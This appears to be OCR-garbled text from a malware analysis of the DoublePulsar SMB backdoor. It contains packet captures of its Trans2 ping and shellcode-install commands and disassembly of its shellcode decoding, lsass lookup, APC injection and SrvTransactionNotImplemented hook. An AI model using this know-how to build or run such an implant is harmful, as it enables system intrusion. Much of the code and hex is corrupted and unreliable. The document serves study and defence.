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Outputinstall shellcode
RunShel Icode
Ping DoublePulsar
RunDLL shellcode DIl

RunShellcode
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(1)CheckFlag
SMB_COM_TRANSACTION2
Timeout flag
eﬁaun:sﬁam‘wu sub_B6847194 proc near ; CODE XREF: start+387p
eqBBB:B6BLT1D, xor eax, eax
eqi00:86B47196 mow al, cl
egdoa:86847198 shr ecx, 8
egloa:B6847198 add al, cl
eqBoa:B6BLT719D shr ecx, B
enARA:RARMTIAAA __. ___ __ __ add_ __al.__el. . .
T,on L e
timeout 0x23
“n1 070058y 192.168.0.109  192.168.0.101 M8 445 156 Trans2 Request:
11 .ee5951 192.168.¢.1€1 192.168.2.189 SMB 085 g £ o 1se<unkn: n>, Er
15 0.011895  192.168.8.109 192.168.0.101 SMB 445 1312 Trans2 Request, SE&: % x

211968  192.168.€.1€1 192.168.€.169 SH8 i5 ransz fe

g @13317  192.168.2.189 19¢).753.9. 124 S

s HOT 1
L2 ETEL Max Parameter Count: 1
Max Data Count: @
Max Setup Count: @

Reserved: @8




0x23 Ping
ox77
0xc8 shellcode
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10 9.005892 192.168.0.109 192.168.8.181 SMB 136 Trans2 Request, SESSION_SETUP Plngﬂ
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Parameter Offset: 66
Data Count: 4096
Data Offset: 78
Setup Count: 1
Reserved: 80
Subcommand: SFSSTON. SETHP. (2vPRAa)
‘e495ad25e494ad25e Unknown Data: 416dd25
v SESSION_SETUP Data
1a29c317dfa5fed25e49c335e6594ad25eceddeSe. . . G shellcode Unknown Data: c28ef65
.. 0040 0@ Ge 00 od 10 09
17 df a5 fe d2 Se 49 c3 v D) e AL 2050 €2 @e 6 5a 29 3
de Se 49 4a Aa e 49 4da S5.Y1.A L NATIH.TT . 35 e6. 59 4a d? Se @ cd

SESSION_SETUP Data shellcode

a. shellcode

e g b —— sy Leee e ]
seqB0B: 85847 0B mou esi, [eax] ; shellcode size
seqBdB:868470B3 ®or esi, [ebp+ 1 ; key
seqABB:86847OBG mouy edi, [eax+8]

seqB0B:858470BD ®Oov edi, [ebp+ 1

seqBaB: 86847 BBC moy eax, [eax+4]

senAB0: 86847 BBFE e 3 2

b. shellcode shellcode
shellcode

5eq000: 86847 OCE nou eax, [ebp+2Ch]

o A }.lmuu.‘n.w.n. . mhaeed T nonLIarn .

BB 86847 ADS.
TRARRZANE.

fillocate buffer
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C. Rundll shellcode IDT ntoskrnl .exe
IDT ntoskrnl.exe PE

-.rﬁl:lﬂﬁ:ﬂﬁﬁF'JlEﬁ now [edi+Dhh], eax
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d. PID Isass.exe
seq000:866F933B push esi
seqOOB:866F233C push ecx
seqOOB:866F 233D call dword ptr [edi+ 1 ; PsLookupProcessByProcessld
seqBBB:866F 2340 test eax, eax
seqBOB:-866F9P342 jnz loc_B866F93CE
seqOfB:-866F 2348 nov esi, [edi+ 1
seqBlOB:-866F9234B now ebx, [edi+ 1
ceqfff:B66FP351 mow eax, [esi+ebx]
seqOff:B66FP35Lh cmp eax, 2
seqOOB:866F 9357 j1 short loc_B866F93C6
esi

seqBap:866F9359

oo e, BE, L pdd s s

e. APC
g AL Lo L il o e
seqABA:B66F92CE sub edx, eax
oo AAn-a - sy maE BT v e T T
se)AAR:86GF92D6 ; P
SeqHBAzRA6F 2D
e APTHAR I RAGE 2200,
SPHAACRGAFYZ20E
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el BGAF92EG
segBEELRGOFY2ED
sequnl:B44F92EF
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(DUninstall

seqBBB:BG6F
seq AR RAGF
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LyvoTLuueT s
eqaoa:868471B9 sub_B684T1BY proc near
SpARNRA-BARLTIRY nusha

; CODE XREF: start:loc_868470A17p

Threr SHEILoager
ees, “ebp=ain]
ez, Tean+dCNh)
Jezx+d80], ezx
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SrvTransactionNotImplemented

MID

ceqOdg: 8687140
SeqoB0:BGBUF140 loc_86847140: ; CODE XREF: start+5lﬁj
ToonAm-onroLTane N T Pl ayuriyees vesmyp
e BGRAF 146
seqiHN:RARAF 142
seqlfn 868471y [ -
SeqAa 85847 Thdy
; CODE XREF: start+u1fj sROAAA:SARAF 1AL Toc_B684714h:
; start+7FTj ... senAAR:RAREZ 1AL
nov al, 28h ; ' ' Smam e sesr e
imp short loc 8684714C SenNAN:RARAT14A
senAAR:RARAFILR [ ————————————
H A63ariak
; CODE XREF: 5tart+9Hfj seniil:a6Rar1aR loc_86847148:
mov al, 38h ; '@’ senAAR:RGRATILR
jmp short $+2 5 5 e
q63axial ;
H BEZarian
; CODE XREF: 5ta|‘t+FﬂTj sl RGRAr M 1oc_8684714C:
; start+FET] ... senfAN:RARATILN
nov ecx, [ebp+38h] H BHRAFTar
nouv ah, 8 H Pt
add [ecz+1Eh], ax s GuUU e E
; CODE XREF: start+2u7j 3eq 08415 loc_86847155:
mnov eax, [ebp+18h] seAAR:RARAFIGS
mnov [esp+2Bh+var_4], eax SRAAA:RARATIGE
popa SeQARR:RGRATAGE
jmp dword ptr [eax+3Ch] ; jmp old_SrvTransactionMotImplemented aeq Fiaeer  on

SPRAR:RGRATIAN ; ———————————
cenf@Of-RARLFIAD

MID+0x10

MID+0x20

MID+0x30

‘.. _CECCTAN CETID .

Trans2 Response<unknown>, Error: STATUS_NOT_IMPLEMENTED 2
[TCP sogmonic of a reassomblod PHU] -

[T€2 segment: of a reassemblod PDUY o

- Flags2: @xc@@7, Unicode Strings, Error Code Type, Security Signatures, Ex
Process ID High: @
Signature: @eee00000L000000
Reserved: 2eeo
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meni: of a reassembLod POUY

Process ID: 65279

User 1ID: 2848

Multiplex ID: 66
v Trans2 Request (@x32)
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